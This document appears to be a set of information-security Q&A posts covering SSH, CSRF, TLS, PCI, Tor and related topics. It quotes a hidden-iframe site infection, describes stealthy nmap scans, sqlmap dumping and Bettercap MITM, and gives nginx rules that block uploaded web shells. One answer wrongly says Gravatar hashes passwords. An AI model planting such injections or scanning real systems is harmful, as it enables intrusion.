How can they find out the SSH version if the port is closed?
wouldn't closing the port successfully mitigate all SSH security issues, no matter the version?

“SSH version is outdated” is not necessarily a security problem. Their recommendation is to install the latest version, but there is no benefit in running the latest version unless you want the latest features. For security, what matters is that you have all the security fixes applied. Many distributions apply security fixes to the version they ship. For example, CentOS 6 still ships OpenSSH 5.3p1 and will be receiving security updates until 2020; CentOS 7, the current release, ships OpenSSH 6.6.1p1. Debian jessie ships OpenSSH 6.7p1 and will also be receiving security updates until 2020, while the latest release stretch ships OpenSSH7.4p1.

In general, you should not install packages outside your distribution for critical infrastructure components such as OpenSSH. If you do, make sure to subscribe to security bulletins and apply security updates as soon as possible. If you just install OpenSSH 7.5 now and forget about it later, you're significantly weakening your security.

If you get a report that only says “version is outdated” and doesn't even try to determine whether the proper security patches have been applied, it's a bad report.

Closing external SSH access on servers that don't need them is a good idea regardless. One machine where the security updates are falling behind, or one machine where a user's password or key have been compromised, could get the attacker into your network. It's often a good idea to limit external access to a single gateway machine (or a small set of machines for redundancy) where updates and account are more closely monitored. Closing the port in the firewall will mitigate the issue of direct access. Indirect access (where the attacker gets into the network on a machine that's doing nothing important, and uses that as a relay to get into more important machine) will still be a concern.

You can check SSH access by yourself by running ssh -v MACHINENAME from outside. If MACHINENAME is running an SSH server and the firewall doesn't block you, you'll see a line like

debug1: Remote protocol version 2.0, remote software version OpenSSH_6.7p1 Debian-5+deb8u3

That, as I write, is the current version on Debian jessie and is perfectly fine.


iframe-friendly CSRF protection In general, CSRF protection means this: "compare <input type=hidden> with a value in user's session" (or sometimes - user cookie).
Now, suppose I want my app/website to be iframe compatible (while still protecting from CSRF "session-riding" attacks).
However, newer browser versions will disable setting a cookie inside iframes. Chrome has this in their roadmap for 2021 and they are already enforcing this in incognito tabs (see this answer)
Which means, that every navigation event inside an iframe (clicking a link or POST-ing a form) creates a new Session ID (because the Set-Cookie: MY_FRAMEWORKS_SESSION_ID will be ignored by the browser).
So... What do we do? How do we stay iframe-friendly, while still preventing CSRF?
(apart from "do not use iframes" answer)

I don't think that this should be a problem, for at least two reasons

you shouldn't need CSRF protection for framable pages. If the page had state-changing functionality which needed to be protected from CSRF, then it also needs to be protected from Clickjacking, so it shouldn't be framable in the first place.
you shouldn't need to be able to set new cookies in your iframe for the double-submit cookie prevention mechanism (any cookie that was previously set should still work, and there is no need to regenerate it).

But assuming that for some reason these issues do not apply, you could use one of the other CSRF prevention techniques,eg:

custom request header (ajax requests cannot be sent cross origin with custom headers unless allowed by the CORS policy)
verify origin header (or referer)
using a stateless encrypted token


If a vulnerability has no relevant attack vectors, is monitoring still legitimate for a company? Today while reviewing vulnerability scan results with a colleague, we had a debate about what vulnerabilities can be considered "true or legitimate" and hence worthwhile to spend resources in monitoring. We had a differing opinion on whether vulnerabilities without a relevant attack vector can be considered "true" vulnerabilities for our company
My opinion was that even if a vulnerability discovered today has no applicable attack vectors because conditions needed to exploit it does not exist, the vulnerability is still worthy of monitoring as its future behavior may evolve. As more information is known about it, more attack vectors may become known. In addition, our company is moving in the direction of the Cloud, where I see faster detection and stronger monitoring  of vulnerabilities in becoming more important, due to there being more "distance" between a company and its digital assets. I.e: Assets become less physically tangible.
However, I also understand my college's point of monitoring and researching having a opportunity cost. If the probability of successful exploit is unlikely, then the time spent researching, monitoring, and reporting results  may be better spent on another activity, similar to not how all security risks have equal criticality.
Given our company's direction, that we work with highly sensitive customer data such as health information (HIPPA), and we are in the regulated financial services industry, I tend to feel more comfortable by taking the more conservative approach of my own viewpoint.

In general, are vulnerabilities with non applicable attack vectors considered "true" vulnerabilities?
How should the degree of monitoring and resource commitment to remediation be determined general speaking at a high level, particularly for regulated industries?

more attack vectors may become known

It seems premature to react to vulnerabilities before this happens. It is probably better to just subscribe to security advisories and get alert, when this happens.

  vulnerabilities without a relevant attack vector

How do you determine, if they are relevant? Even if the attack vector is unreachable on its own, combining multiple exploits have been the way to break high security systems for quite some time. Also, can you be sure a future change in your system will not make it relevant?

IMO if you are sure there is no vector for your system, even if combined with other exploits (even hypotetical ones not discovered yet) and after future updates, then it is not necessary to spend the resources on it. If you are not sure, or can't determine without extensive research, it is better to just do it to be safe.


Extracting shellcode from Wireshark pcap files I running a honeypot for the telnet and ssh services (more specifically, I'm running cowrie).

When an attacker tries to download a binary file cowrie generally downloads it and saves it to a file, but sometimes it fails and displays the whole binary gibberish instead rather than saving it to a file.

I have the pcap files with the traffic though, so what I'd like to do is use some program to filter any downloaded binary code from the pcap file and save it to a file.

My question is, is there any such program/script that does that?

You can open the PCAP file with NetworkMiner, which will automatically extract all files that have been trasfered in clear text (HTTP, FTP etc). NetworkMiner woks in both Windows and Linux.


How to find vulnerable sites on a web server A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds.
Now his server keeps getting infected on a regular basis.
The webhost / server admins keep digging in the dark. They run a monthly scan, remove infected software, but can't say from which sites it originates as the log files seem to be clean.

He uses cuteFtp Pro with password encryption so it's probably not FTP related.

It's a LAMP system with up-to-date Apache and PHP / MySQL installations.

Now are there any ways or tools to scan the whole server for vulnerabilities, without checking each websites manually? It is possible that there are some old WordPressinstallations on there, but it would takes ages to check each website individually.

One of the infections look likes this:

</html>
<iframe src="http://autobedrijfboekema.nl/counter.php"
        style="visibility: hidden; position: absolute; left: 0px; top: 0px"
        width="10" height="10"/>

He uses cuteFtp Pro with password encryption so it's probably not FTP related.

sure? there are developer-targeting ftp-password-stealing malware outside that looks for ftp-credentails locally.

what do you mean by "infected"? malicious uploads? sql-injections?
who/how many devs have access to that server?

by that number of installations you must either be lucky or be able to identify the attack-vectors through log-correlation, but this needs some experience in doing so.

rule nr 1 if running internet-facing websites: be up-to-date with every deployed application and your server-os.


Is there is a way to share encrypted data and allow decrypt only and prevent re-encryption? The case is that I need to share data encrypted with customers allow them to only decrypt it.

The idea is by the low we are not allowed to keep a copy of this shared data
while the customer have to do.

So we need that any time or in case of dispute we return to original encrypted data saved and customer side with guarantee its integrity.

We will add a file sign, but again we need the original data shared too.

The answer to the literal question of whether one can prevent re-encryption would be no.

Presumably your goal is to prevent the customer from tampering with the data, i.e. altering it and misrepresenting it as the original. You also want to avoid actually keeping a decryptable copy of the data.

Since you need only to encrypt and the customer only to decrypt, the straightforward solution is public key cryptography and authentication. The customer would send you their public key, which you would use to encrypt the data. You would also sign the data with your private signing key, and share your public verification key to prove that you've signed it.

The customer can then decrypt the data with their private key, which you don't have. But while they can encrypt another piece of data, they can't sign it, as they don't have your private signing keys.

With this solution, you can actually delete both your plaintext and your ciphertext. Your public verification key will suffice to conclusively prove whether any given message has or hasn't been signed by you.


Privacy of Gmail for business? Considering the recent litigation in which Google apparently claimed that all the emails, all the data in them, are Google's property and can do with the data whatever they want, I get frequent questions from our employees how does this translate into Gmail for business which we're using. Is the data in our corporate account also Google's property?

http://www.theregister.co.uk/2013/08/14/google_cloud_users_have_no_legitimate_expectation_of_privacy/

Send your employees to Google's Gmail for business benefits page. http://www.google.com/enterprise/apps/business/benefits.html?#security
It says "When you put your data in Google Apps, you still own it, and it says just that in our contracts."


Documented Best Practices for Reverse Proxy Implementation I'm looking for some best practices documentation for implementation of a reverse proxy.

We need to allow an internal database / web server incoming access to the outside world and are trying to determine the most efficient and secure method to accomplish this.

We already have a Red Hat 2 server running a mod proxy Apache configuration, but want to take a look at today's best practices (as this server is ancient).

I've googled quite a bit and have as of yet been unable to find anything less than extremely general advice related to commonplace security best practices.

I would greatly appreciate anything you could provide.

Thanks!
Erik

NIST SP 800-44 Guidelines on Securing Public Web Servers is a good starting point, though it's no magic bullet (and it's a few years old now).

In my experience some of the most important requirements and mitigations, in no particular order, are:

Make sure that your proxy, back-end web (and DB) servers cannot establish direct outbound (internet) connections (including DNS and SMTP, and particularly HTTP). This means (forward) proxies/relays for required outbound access, if required.
Make sure your logging is useful (§9.1 in the above), and coherent. You may have logs from multiple devices (router, firewall/IPS/WAF, proxy, web/app servers, DB servers). If you can't quickly, reliably and deterministically link records across each device together, you're doing it wrong. This means NTP, and logging any or all of: PIDs, TIDs, session-IDs, ports, headers, cookies, usernames, IP addresses and maybe more (and may mean some logs contain confidential information).
Understand the protocols, and make deliberate, informed decisions: including cipher/TLS version choice, HTTP header sizes, URL lengths, cookies. Limits should be implemented on the reverse-proxy. If you're migrating to a tiered architecture, make sure the dev team are in the loop so that problems are caught as early as possible.
Run vulnerability scans from the outside, or get someone to do it for you. Make sure you know your footprint and that the reports highlight deltas, as well as the theoretical TLS SNAFU du-jour.
Understand the modes of failure. Sending users a bare default "HTTP 500 - the wheels came off" when you have load or stability problems is sloppy
Monitoring, metrics and graphs: having normal and historic data is invaluable when investigating anomalies, and for capacity planning.
Tuning: from TCP time-wait to listen backlog to SYN-cookies, again you need to make make deliberate, informed decisions.
Follow basic OS hardening guidelines, consider the use of chroot/jails, host-based IDS, and other measures, where available.


Someone I don't know is sending me test mail. Is this a scam? In the last couple of weeks I've received several e-mails at my work account (a small research non-profit). The format is similar for all:

"Test mail" in subject line
No content in body
Address follows the format: [First name][two or three digit number][last name]@gmail.com
I do not recognize the names, and as this is a work account, I generally wouldn't be receiving messages from someone's gmail account anyway

This seems suspicious but I can't figure out what's going on here.

Usually these are from email aggregators that are testing which emails send a soft/hard bounce response from the service provider. If the user doesn't exist, the service sends back a bounce email to let the sender know. Example: 'User something@somewhere.com doesn't exist.' For businesses this is usually for those annoying business marketing lists.

In general, it can be hard to predict the pattern of text they may use, but you can have your admin setup a bounce response for any email that has just 'test' or 'test email' for the body. It won't be perfect, but it will defeat the few that attempt this with a predictable pattern. Otherwise, just ignore it. If you have an email, you will have spam at some point.


Is it dangerous to use Tor? I'm new to the whole security/privacy thing but I'd like to start doing whatever I can. Tor seems to be pretty popular, I found this tutorial on Tor and the it says that by simply using Tor the FBI will probably look at me like a criminal.

How much truth is there to that? Will I be put on a list if I download Tor? Is it dangerous to use Tor?

It is difficult to say what nationstate intelligence agencies will do with people who use tor, since they don't generally reveal their procedures. However, there are approximately 2 million connected users at any given time, which is a fairly large pool. Many of us use tor for everyday, uninteresting traffic partially so that the use of tor doesn't become an interesting "signal".

Now, even if you get put on some sort of list, theoretically that doesn't matter unless you're breaking the law. There's a lot more that can be said here, but that particular subject is not on topic for the information security stack exchange.

One thing that's important to know is that tor by itself does not provide full anonymity (and it introduces a man-in-the-middle, which can be a security attack). You should always use tor in connection with https when possible. See also Is it safe to download internet files over tor?


Gravatar - Is it a security risk for medical forums? If site forums use Gravatar, and the users are predominantly posting personal information about mental health issues, is this a security risk?  Should the site consider turning off, or allowing opt out from Gravatar?

On one hand, these users are voluntarily participating in these public forums. On the other hand they are not disclosing their identity and likely believe their identity cannot be trivially exposed.

The risks would seem to be, site owner losing trust, and possibly violating health privacy laws in various countries with identity being considered PII.

Of course, all of this is moot if there is no technical vulnerability.  The best summary I can find seems to suggest there may still be some cause for concern:
https://www.wordfence.com/blog/2016/12/gravatar-advisory-protect-email-address-identity

HIPAA specifically states that the users email address is protected PII.  The md5 hash of the user's password is trivial to reverse, and a data breach of these hashes would result in protected email addresses being divulged - and that would result in legal recourse.  The blackhat community is quick to crack hashes, and email addresses can be more predictable than a password.

If an attacker can show that your systems violated HIPAA, then legal action will be taken. Gravatar was never intended to preserve user's privacy, and leaking a gravatar ID of a medical patient is a violation of HIPAA.


Why would output from sqlmap be trimmed? I've decided to learn sqlmap but having an issue with Sqlmap trimming some of my output, the hash. The hash is about to be 32 characters long but I'm only getting 25 and the warning:

[WARNING] possible server trimmed output detected (due to its length and/or content): HASH'

It's only trimming this column, not the other ones which I also choose to dump, though I haven't seen them get longer than 25 characters. I tried switch:

--hex

but it's not giving me any luck.

Been spending hours on finding any solutions for this. Is there any other switches I could try or perhaps another solution?

Per the sqlmap source code at [Github 1], this warning occurs when the returned data size from the SQL server is less than that requested:

trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "possible server trimmed output detected "
                warnMsg += "(probably due to its length and/or content): "

This can occur if the SQL programmer decides to be able to query the database element, but not return the whole item.  The TEXTSIZE command is one way to do so in SQL Server (there are several others).

The primary reason is to check if there is any data without transferring a large block of data.  Hash values are not large, but some systems do truncate password hash values and use the stored partial hash value.  Truncating hash values is not a good practice, see Does truncating the cryptographic hash make it impossible to crack?.

Note that changing to --hex would only effect the format of the output display, not the overall size in characters or bytes of the display (01001001 in binary, = 0x49 in hex, =73 in decimal, = the letter "I" in ASCII, but one byte regardless).


Is it critical that REST API returns exactly the same content as it is in NoSQL database? In the past, I've been taught that database schema is crucial and should not be exposed in any way so that users cannot inject the system and steal something from it. However, most of the cases I've heard are all about login functions that a hacker tries to act as another user, to get his/her privilege on the system. I'm not sure if the situation still remains the same when backend database changes to NoSQL.

If the schema is still crucial and should keep secret, should we always use different keys between API response and database? For example, product_name and db_prod_name. And should we always make the structure different between API response and NoSQL database? What will happen if we just directly return the JSON record from the NoSQL database to API?

The topic Is it okay to reveal database's table names? should be different to me since my question is about NoSQL database, such as AWS DynamoDB and MongoDB. I suppose the defense strategy may be different due to the characteristics between SQL and NoSQL are different.

First, keeping a schema secret is not a helpful part of any defense posture. For SQL DBs, preventing SQL injection involves a number of techniques- various bits of database configuration, the use of prepared statements, the sanitization of untrusted input- all of which are practiced by open source projects, the SQL schema of which are public. Similarly, though schemaless DBs don't have fixed schemas, related techniques apply when untrusted data is being persisted. In either case, keeping the schema secret is unnecessary if those other techniques are used, and if they are not, secrecy likely won't help.

The reason to maintain separate schema and field names between database and API has to do with change management.

Your application consumes your database. Other applications, not under your control, consume your API.

It is relatively easy to change your schema and conform your application to it. It is difficult, painful and in many cases unacceptable to force breaking changes on consumers of your API.

So, create a API surface that makes sense for your customers, and then keep as an implementation detail your internal schema and database details. In the beginning this seems like wasted effort, but the success path for APIs involves stability for your customers. Invest in it up front.


PCI Compliance and multi tenancy? I am developing a Multi-tenant application to allow tenants to open an e-commerce shop (similar to Shopify). We are hosted on AWS.
At this point there will be under 20,000 transactions in the first year but I am a bit confused regarding PCI Compliance in this case.
I (and my tenants) will use a payment provider that allow a Direct POST request via their API with credit card details over HTTPS. That means credit card details will be sent directly from customer to payment provider, using custom payment form generated by our application.
We will not be storing any credit cards details except for last 4 digits (which is received from the payment provider after successful transaction).
I would appreciate comments regarding PCI Compliance for the application, both for myself and my tenants. (Am I considered a Level 2 service provider and SAQ-D is enough?)

From the description of your service, your merchants (and I'm assuming they are small merchants, so SAQ eligible) will be required to provide an SAQ A-EP to their acquiring banks. There's lots of confusion in the world about what service providers need to do, so excuse the length of this because there are actually two questions to be addressed.
TL;DR Summary

Your customers need to be PCI DSS compliant, and they will rely on you for some of the evidence to support that. You can have a QSA produce a Report on Compliance (RoC) or self-assess with an Self Assessment Questionnaire (SAQ). You provide the RoC or SAQ to your customer, they use that to complete their SAQ A-EP which they give to their acquirer. Given JavaScript skimming attacks are so prevalent at the moment, having an independent QSA assessment would be good -- especially for a new system -- and if ever anything went wrong, would show you'd not been negligent.

Being a listed service provider by a brand is a completely separate thing and is where the L1 and L2 designation comes from. Each brand has its own rules about who it lists and what evidence (SAQ or RoC) is required. You do not have to do this unless you work with a card brand's customer (i.e. a bank or other financial institution). However, some card brands allow you to choose to do this for marketing purposes.

Providing evidence of PCI DSS compliance to your customers
You are a service provider to those merchants, and you will be responsible for providing evidence to each merchant that you are meeting the requirements in SAQ A-EP on their behalf. So you need to be in a position to provide this evidence.
The best way to do this would be to have a QSA assess your environment and produce a report on compliance (RoC) that you could provide to each of  your customers when they ask about PCI DSS. Although the QSA would use the full RoC template they would only assess you against the requirements in SAQ A-EP, marking the others 'Not Applicable' or 'Not Tested' (that's a long conversation with your QSA). What you're doing is producing the evidence for your merchants to prove their compliance to their acquirer.
Rather than having a QSA do this, you could choose to self-assess, and whether your self assessment is sufficient for your merchants is a question for each merchant - the standard does not make this distinction, it is a question of contract etc. between you and your customers. If you self-assess you should use SAQ D for service providers, but only completing the requirements contained in SAQ A-EP. PCI SSC FAQs 1131 and 1382 are useful.
Providing evidence to the card brands' service provider programs
Now, the question of being a "Service Provider". The L1 and L2 service provider programmes are run by some card brands (Mastercard and Visa). Each has their own separate definition of what an L1 or L2 service provider is (although they are both the same at the moment).
If you want to be 'listed' as a complaint service provider by Visa - given the number of transactions, you would be a L2 service provider and most probably need to provide the SAQ D (with just the SAQ A-EP requirements completed) - I'm no longer an expert on Visa's compliance programs, but this is the page to consult.
Mastercard's listing requires you to be registered by a Mastercard customer. Again here's the relevant page.


Whether TLS session resumption reuse the symmetric keys? I am learning TLS Session Resumption.
What I got is session resumption can reduce 1 RTT for TLS 1.2 by reusing MasterSecret. Both the client and server needn't to run key exchange algorithm.
My questions are:

Whether session resumption reuses symmetric encryption keys (to encrypt TLS records).
What factors affect whether to reuse symmetric encryption keys?

I searched around Google, but cannot find a authoritative answer. Here is what I got:

Do not reuse encryption keys. Refer to SSL session key usage when browser opens multiple sockets to same server and https://wiki.openssl.org/index.php/SSL_and_TLS_Protocols#Session_Resumption
Reuse encryption keys. Refer to https://www.venafi.com/blog/tls-session-resumption. That link writes Client and server store this session ID along with the session keys and connection states.

Any ideas are welcome.

TL;DR: Secrets are reused, but encryption keys are not reused.
With TLS 1.2 and lower the master secret was reused though and the encryption keys were derived from this. But this key derivation includes connection specific random data, so the keys are specific for the connection and not for all reuses of the same session. Knowledge of master secret (for example due to an information leak like in Heartbleed) and sniffing of traffic allowed the recreation of the encryption keys though, and thus reusing the same session for too long might impact forward secrecy.
With TLS 1.3 session resumptions works completely different. Basically it just replaces the certificate based authentication with a smaller and faster PSK based authentication (with a previously shared secret), but the key exchange works as with a "full" handshake. Thus not even the master secret is reused and forward secrecy is not impacted.


Risk Assessment - Probability of theft of a physical location Our security vendor just conducted a Risk Assessment for our organisation and has provided us with the report. One of the 'Threats' identified by the vendor is 'Theft', and our 4 office locations have been listed among the assets under the type 'Physical Location'.

In the final report, the probability and frequency of Theft have been given the value of 1 each for our 4 offices. I found it strange that the theft of a physical location is marked as probable, even though the value assigned to that threat is 1 (least probably on a scale of 1-3).

Initially, I assumed the probability has been marked for theft of devices, equipment, or IP by an insider, but those things were identified as different assets and have their own risk estimated for Theft.

My questions are:

1) Is it an industry practice that 'Theft of a physical location' to be given the least value of probability?

2) Is it acceptable in a Risk Assessment to assign a value of zero for the probability of threats like this?

What am I missing?

Risk Assessment scales are typically qualitative in nature; they are "best guesses". From this perspective, you can never rate the probability of an event as 0, because that becomes a quantitative measure of certainty. So, even the most unlikely event is rated above 0. In a 3-point scale, that is 1.

So, to answer your second question, no, you will not see a 0 on a risk assessment.

But, seriously, theft of a building? Normally, things so unlikely to happen, or things if they did happen would pose a much greater risk in other areas, are deemed out-of-scope.

Technically, there is a minute chance that Martians could fly down and steal your office, so if the theft of your office is in scope, it would be rated a 1, but it should not be in scope. I'd challenge the report preparer why such an event was deemed in-scope....


Single-packet connect request at an extremely slow rate I had been reading a blog post on trapx.com about how they go about threat analysis and following statement was made; "advanced attackers no longer perform noisy network scans. If they do network scans at all, they avoid detection by using single-packet connect requests on well-known ports, at an extremely slow rate".

How does one perform a single-packet connect request at an extremely slow rate? Is it possible to do this using nmap, if so how can it be done?

It simply means to do something like try a single connection attempt to a single port with a lot of time between.

But what "slow" means and how much time is not defined. 1/hr? 1/day? It depends on how stealthy the person wants to be and what their goals are.

nmap has many config options to do this (read the manual: https://nmap.org/book/man-performance.html)

For instance: T0 sends a single connection attempt to one port at a time with 5 minutes in between. There are numerous finer config options where you can define exactly what you want to do.

I challenge the statement that noisy network scans are not performed by advanced hackers. It really depends on the situation. There is no reason to go slow on a public IP. Internal IPs, once you are inside and re-enumerating, would need this, but this is not something that only advanced attackers would do. It's just a response to the reality that noisy scans would be discovered and so would the attacker. Typically, the attacker would listen to traffic or do other enumerations to get a sense of what servers are available and what they serve.


Is it theoretically possible to decrypt a file without the key/password? Hear me out ... On TV shows like Criminal Minds they make it out to appear that any encrypted files can be easily decrypted, even without a key. The character, Garcia, just simply "pushes some buttons" and the file becomes decrypted almost instantly, even without any key, etc. I know that the show is not a good example of REAL WORLD events, but unless they're making a mockery of encryption I can't see why they'd make viewers think it's so easy just because they're F.B.I., as if that makes them magically capable of anything without knowledge.

But here's my point ... An encrypted file is bits; just bits that are garbage unless made back (decrypted) into what they originally were. Isn't it possible, in theory, to work through each byte and try to figure out what it originally was without a key, brute-force, etc.? Why not?

I mean there might be some possible way to determine what the original data may have once been by analyzing data directly yourself using some mathematical, logical, or other pattern first-hand, maybe? Doesn't there have to be some kind of strategy or pattern that can enable one to reverse the data manually?

- Show me the file contents.
- I cannot, chief ! It's encrypted !
- Dammit ! He wins this time.

An so ends the show, 5 minutes after the start.

TV shows don't show the "real world", and that's not to make a mockery; that's because shows aim at pleasing the audience, by providing them the sensations and feelings that they crave for. If it implies depicting events which are distorted, or even physically infeasible, then so be it. After all, Star Wars explosions make noise in the vacuum of space, and Godzilla is an ill-tampered radioactive lizard who breathes fire and insults a giant moth in Japanese while trampling Tokyo.

If encryption is done properly, then it cannot be broken upfront. But nobody said that police forces must act only within the formal mathematical rules of cryptography. In fact, they will first break your door at 06:00 AM and seize your computers and look for traces of the unencrypted data (e.g. parts of deleted files). After all, an encrypted file is useful only if was not encrypted at some point, and will be decrypted at some other point. Whenever a file exists somewhere in unencrypted format, it is prone to leak.


How can I restrict what an application can do with my computer? Often when I install applications on my computer, I realize that I need to trust the application because it can do what ever it want with my computer, e.g. accessing files, listen to my keyboard, monitor my network and so on.

This feels unsecure. E.g. on Windows 7, how can I control or restrict what an application that I install can do on my computer? Is there any software tools for this or should I create a new user account every time I install an application or how to handle software installs?

On Android I can see what resources an application needs, before I install it, is there something similar for Windows 7?

Excellent question.  Unfortunately, there is no really good way to do what you want.
I don't know of any way to see in advance what resources a desktop application may access.  Instead, the only approach is to run it within a sandbox or constrained environment that restricts what it can do.  There are two general approaches:

Use a sandbox.  You can run the application in a sandbox that limits what it is able to do.  However, you may need to specify a policy for the sandbox, or run it using a default policy that is tightly constrained.  On Windows, it's hard to find good sandboxing software for running general-purpose software; the best option might be Sandboxie.  HP also built a sandboxing system called Polaris, but as far as I know it was never commercially released.  On Linux/BSD platforms, check out Plash, Systrace, Capsicum, Subterfugue, and Rainbow.

Use a virtual machine.  A simpler and more pragmatic solution is to use a virtual machine and install your application in the virtual machine image (in the guest OS).  This will let you run the application, with reasonable confidence that it cannot escape the virtual machine.  This may work fine if the application does not legitimately need access to any of your personal information, but if it does need that kind of access, you may find that it is hard to provide the application with partial but not complete access to your data, devices, and other resources.
On Linux, Qubes and Virtics provide a secure desktop that uses virtual machines to sandbox every application you run, though I believe they are research-quality prototypes, not robust finished products.  They might also be worth a look at, if you are willing to deal with less-finished software.


CSRF: Random value or HMAC I've seen several implentations of CSRF tokens:

The first one uses randomly generated CSRF tokens which uses a
cryptographic strong random generator to generate the token.
The second implementation I found uses HMAC which encrypts the session id with secret key stored in the server side config.
The third implentation I saw uses a combination of both, a secret key stored in the server side config is used to HMAC a random generated value

The second  one does not require state to be stored server side (which is ideal in case of clustering).

I'm wondering what the benefit is between the first and third implementation.

The first one uses randomly generated CSRF tokens which uses a cryptographic strong random generator to generate the token.

This is ideal. In this case, the token is an absolutely unpredictable opaque block with no significance outside its intended context.

  The second implementation I found uses HMAC which encrypts the session id with
  secret key stored in the server side config.

This is simpler to implement. Presumably session IDs are already being generated, so nothing additional needs to be persisted. Since no further storage is necessary, it could be that this mechanism may be implementable in situations where a random token couldn't be worked in to a legacy design. This is a relatively elegant workaround. Assuming the secret key doesn't become known to the attacker, the token shouldn't be reproducible outside the server.

  The third implentation I saw uses a combination of both, a secret key stored in the server side config is used to HMAC a random generated value

This is a little silly. Presumably driven by the fact that a an HMAC is a security-related concept, the author attempts to add security to his design by including something security-related. A sort of magic security talisman.  Presumably it's no worse than using the random number alone, but it's certainly no better. Unless you count the warm fuzzy feeling you get from using HMAC in your security implementation.

It is, however, a reasonable work-around if you have a poor RNG, though in that case I would probably mix the session ID or something similar in there before hashing so that you're guaranteed that the number you hash in unique.


MITM attack with HSTS implemented websites I want to perform a Man-in-the-Middle attack against my own network for educational purposes.
I want the following scenario: Perform a MITM attack with Bettercap, navigate to a website and accept the certificate warning,which means accept the certificate presented by Bettercap (the attacker).
Question 1:
I want to know if this is possible nowadays with HSTS security policy being implemented on websites and HSTS preload list?
Question 2:
Are my only possibilities the websites that don't have the HSTS implemented or is there a way to remove HSTS and perform the attack by accepting the certificate?

Question 1:  Yes, this is possible.  The fact that the site is on the HSTS preload list only tells the browser that it should always connect to the site by https and not http.  The HSTS preload list does not contain any information about the certificate itself.
Question 2:  No, because of the answer to question 1.


How does Google Authenticator work? Google Authenticator is an alternative to SMS for 2Step verification, installing an app on Android where the codes will be sent.

It works without any connectivity; it even works on plane mode. This is what I don't get. How is it possible that it works without connectivity? How do the mobile phone and the server sync to know which code is valid at that very moment?

Google Authenticator supports both the HOTP and TOTP algorithms for generating one-time passwords.

With HOTP, the server and client share a secret value and a counter, which are used to compute a one time password independently on both sides. Whenever a password is generated and used, the counter is incremented on both sides, allowing the server and client to remain in sync.

TOTP essentially uses the same algorithm as HOTP with one major difference. The counter used in TOTP is replaced by the current time. The client and server remain in sync as long as the system times remain the same. This can be done by using the Network Time protocol.

The secret key (as well as the counter in the case of HOTP) has to be communicated to both the server and the client at some point in time. In the case of Google Authenticator, this is done in the form of a QRCode encoded URI. See: KeyUriFormat for more information.


Locate WhatsApp message destination I've been interested in message tracing, so I played a bit with Cisco's Packet Tracer and Wireshark.

Is it possible to locate the destination IP of a message (packages) been sent via WhatsApp? I am not trying to read data out of the packages, I just wonder if it is possible to trace the destination location of the message which has been received.

The backbone of WhatsApp works like a client/server architecture which is actually based on XMPP(Extensible Messaging and Presence Protocol), where clients do not transact directly with one another.

However, it is possible for WhatsApp calls to reveal one's IP address, as calls connect in a P2P manner and not through a 'middle-man'!


Has personal computing security gotten better or worse in recent years? I have a lot of experience with software as a developer, and am trying to move from newbie to more informed about present-day security. Everything I uncover makes me feel that personal computers have become horribly horribly insecure, while most consumers (like me) have grown complacent because the old days of constant system crashes, pop-ups, destructive malware, etc. have seemingly gone away. My system never crashes, ever. I never see pop-ups. I block annoying spam and ads. I have never seen a virus scanner find anything (Mac past 3 years; Linux for several years before that; Windows at work managed by IT team).

I am not implying these things represent rock-solid security, just saying, they have made most people believe their systems are more secure when in fact, they seem less secure than they've ever been, with more dangerous threats. Am I wrong in this assessment?

I would argue that computers are more secure today than they were in the past for one simple reason known attacks have had operating systems patched against them.

I had a professor tell me once that it was easy to overwrite DOS system memory and it wasn't uncommon for games to overwrite it just so they would have that memory then put it back when they were done.  Modern operating systems make overwriting system memory quite a bit harder.

I would also note that with Windows Vista Microsoft moved their development model to one that was security oriented. This included things like: User account control, improvements to the firewall, the inclusion of Windows Defender, ASLR (loads system files to random memory locations to prevent attacks), obfuscating function pointers, intrinsic stack-overflow detection, DEP (in XP SP2 too), application isolation, windows service hardening,

Windows 7 has the security center and Microsoft Security Essentials (as well as the Vista enhancements).

Windows 8 has Secure boot (uses hardware to block rootkits), ELAM, Windows Defender now scans network traffic too for suspicious activity, and AppContainer(Sandbox).

I don't know too much about Macs, but I do know that Apple added some security features.  You may find this interesting too.


Is publishing your public IP address a security threat? I work for a large-ish company (thousands of employees across multiple locations). I recently needed to know what the possible public IP addresses are, so that a vendor could identify us (presumably for their firewall).

The network guy I spoke with acted as if anyone knowing our range of public IP addresses is a significant security threat. A few of the IP addresses in that range are totally public, being resolved from our public web site domains. What is the real risk of having the whole world know all the possible IP addresses that you might have?

Your public facing IP address is for most intents and purposes public information.  No security should be dependent on it being private, however it's not something you want to wave around willy nilly necessarily (just like you wouldn't wave your home address around) but it also isn't something that is hard for someone to find with generally minimal effort if they know what they are doing.

If someone has a legit need for your IP address though, there is no reason that it should be a security red-flag.  Your public IP address is disclosed to every system you talk to on the Internet by necessity.


is there a safe way to login to my gmail account from a public pc? Sometimes i need to use a public pc to access my gmail account, is there a safe way to login and keep my password safe in case there was a keylogger or a trojan on that pc? are there tools that could help in that case?

Enable two factor authentication.  Consider the remembered password compromised to any user of the public computer.

EDIT: My answer dealt with how to prevent your password from being keylogged.  With two-factor authentication your password is now the combination of a randomly generated one-time use code (obtained via cell phone or pre-obtained list) as well as the remembered password; hence a keylogger doesn't give an attacker the ability to log in as you for a future attack.

However, I definitely agree with TomLeek and Nic that in a real-time attack (not a keylogger looked at after the fact) that captures your random session token (that indicates to gmail you are signed in before you do any action), an attacker can fully use your gmail account (send emails as you; search through emails sent to you; delete your emails; etc).  Granted, once you logout your session token will become invalidated and will kick them out of your account.  Granted a clever attacker could write a browser plugin to collect your session tokens, send it to them, and then redirect the logout page to not actually invalidate your token.  Though you could always login to gmail again, view the link for "Last account activity [Details]" and sign everyone else out.


How to deny shell execution in all sub-directories? I want nginx to deny users who have folders inside /webroot/uploads

e.g.

/webroot/uploads/user1
/webroot/uploads/user2
/webroot/uploads/user999

to execute any shell (php, pl, py, binary).

The shells are often hidden in jpg or gif files. like badfile.php.jpg

I also see malacious binary files being uploaded to the folder.

Here my preliminary rules:

location ~ /webroot/uploads/(.+)\.php$ {
 deny all;
}

location ~ /webroot/uploads/(.+)\.pl$ {
 deny all;
}

But I am not sure it is robust enough. So I appreciate your help.

First of, make sure that you have the mime.types properly setup in your config file (http://wiki.nginx.org/FullExample#mime_types), so a foo.php.jpg is still treated as an image.

Also, use the tilde-asterisk (~*) instead of just the tilde (~), this will make your regex case insensitive (and thus prevent files like blah.pHP and evil.PHp, ...):

location ~* /webroot/uploads/(.+)\.php$ {
  deny all;
}

